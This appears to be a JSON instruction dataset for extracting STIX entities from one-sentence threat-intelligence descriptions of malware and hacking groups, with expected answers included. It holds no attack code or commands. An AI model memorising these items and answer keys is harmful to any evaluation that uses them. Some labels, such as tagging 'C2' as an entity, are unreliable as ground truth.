    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nThe energy reserves in the Eastern Mediterranean Sea and a malicious campaign of APT10 against Turkey May 14, 2020\n",
    "output": "<entities>APT10|Turkey</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nBACKSPACE uses HTTP as a transport to communicate with its command server.\n",
    "output": "<entities>BACKSPACE</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nLucifer can decrypt its C2 address upon execution.\n",
    "output": "<entities>Lucifer|C2</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nVolgmer queries the system to identify existing services.\n",
    "output": "<entities>Volgmer</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nWellMail has been observed using TCP port 25, without using SMTP, to leverage an open port for secure command and control communications.\n",
    "output": "<entities>WellMail</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nThe Unitronics Defacement Campaign was a collection of intrusions across multiple sectors by the CyberAv3ngers, where threat actors engaged in a seemingly opportunistic and global targeting and defacement of Unitronics Vision Series Programmable Logic Controller (PLC) with Human-Machine Interface (HMI). The sectors that these PLCs can be commonly found in are water and wastewater, energy, food and beverage manufacturing, and healthcare. The most notable feature of this attack was the defacement of the PLCs' HMIs.\n",
    "output": "<entities>Unitronics Defacement Campaign|CyberAv3ngers|Unitronics</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nMoleNet can perform WMI commands on the system.\n",
    "output": "<entities>MoleNet</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nDEADEYE is a malware launcher that has been used by APT41 since at least May 2021. DEADEYE has variants that can either embed a payload inside a compiled binary (DEADEYE.EMBED) or append it to the end of a file (DEADEYE.APPEND).\n",
    "output": "<entities>DEADEYE|APT41</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nPUNCHBUGGY has saved information to a random temp file before exfil.\n",
    "output": "<entities>PUNCHBUGGY</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nREvil is a ransomware family that has been linked to the GOLD SOUTHFIELD group and operated as ransomware-as-a-service (RaaS) since at least April 2019. REvil is highly configurable and shares code similarities with the GandCrab RaaS.\n",
    "output": "<entities>REvil|GandCrab|GOLD SOUTHFIELD</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nPowerShower is a PowerShell backdoor used by Inception for initial reconnaissance and to download and execute second stage payloads.\n",
    "output": "<entities>PowerShower|Inception|PowerShell</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nNotPetya drops PsExec with the filename dllhost.dat.\n",
    "output": "<entities>NotPetya|PsExec|dllhost.dat</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nTinyTurla is a backdoor that has been used by Turla against targets in the US, Germany, and Afghanistan since at least 2020.\n",
    "output": "<entities>TinyTurla|US|Germany|Afghanistan|Turla</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nPUNCHBUGGY is a backdoor malware used by FIN8 that has been observed targeting POS networks in the hospitality industry. \n",
    "output": "<entities>PUNCHBUGGY|FIN8|POS networks</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nChameleon is an Android banking trojan that can leverage Android\u2019s Accessibility Services to perform malicious activities. Believed to have been first active in January 2023, Chameleon has been observed targeting users in Australia and Poland by masquerading as official apps.\n",
    "output": "<entities>Chameleon|Android|Australia|Poland</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nOBAD is an Android malware family.\n",
    "output": "<entities>Android|OBAD</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nSNUGRIDE communicates-with its C2 server over HTTP.\n",
    "output": "<entities>SNUGRIDE|C2</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nPLAINTEE is a malware sample that has been used by Rancor in targeted attacks in Singapore and Cambodia. \n",
    "output": "<entities>PLAINTEE|Rancor|Singapore|Cambodia</entities>"
  },
  {
